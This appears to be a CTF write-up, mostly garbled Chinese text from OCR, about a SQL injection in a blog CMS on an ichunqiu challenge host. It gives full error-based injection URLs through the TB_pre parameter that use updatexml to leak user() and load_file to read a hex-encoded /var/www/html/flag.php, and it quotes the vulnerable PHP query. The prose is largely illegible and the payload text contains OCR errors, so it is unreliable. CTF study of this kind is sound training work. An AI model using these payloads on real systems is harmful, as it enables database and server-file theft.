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https://www.ichungiu.com/battalion?t=1&r=0

XEBENI AR R B A LR, BT —R witeup , BAIZEBEEMIETHH&RICIREBRMEAARER, FHETRRZMN
SEFTRER B cms , ERBEEMPOHENERHRER, 1cp/IP ENERERELRESR, TEBRMSHE writeup HEHERT
FIECMSHIAERIFRE, RAEAKREX—1A:

http://0day5.com/archives/3300/

—A> sQL A, FHI payload RIXFFHIEH:

http://0fcda®b05d3642ae2919c79c0386ebb055c1719¢c2b26941cc.game.ichunqiu.com/blog/index.php?
file=1istbbs&uid=1&1id=1&TB_pre=

(select * from information_schema.tables where 1=2 or (updatexml(1,concat(@x7e, (

select user()
),0x7e),1)))a%23
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$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads

T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");

B L BATEE $TB_pre WG MR — R, FTLABHI payload BUME T EHEIKIHT

RERRBAREESL. KRG H4, HMEM username « password FB, 1B password FEZ md 5 IIESEHZR/RE, &
RTRZMEEMIEEBEA R, BERBIFIH LEBK L load_file , HEIRI flag FIEEXHHIANE, Bl
A /var/www/html/flag.php s ATEHEZ AL, L BREMEAHRKT :
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BATIMRBEEE K load_file('/var/www/html/flag.php') —AITHI, BN '@ &4k L.
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HART A, BB H16HIRBRZIANZRFE:

it payload W F:

http://0fcda®b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=1istbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(@x7e, (
select mid((select load file(Ox2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)

),0x7e),1)))a%23
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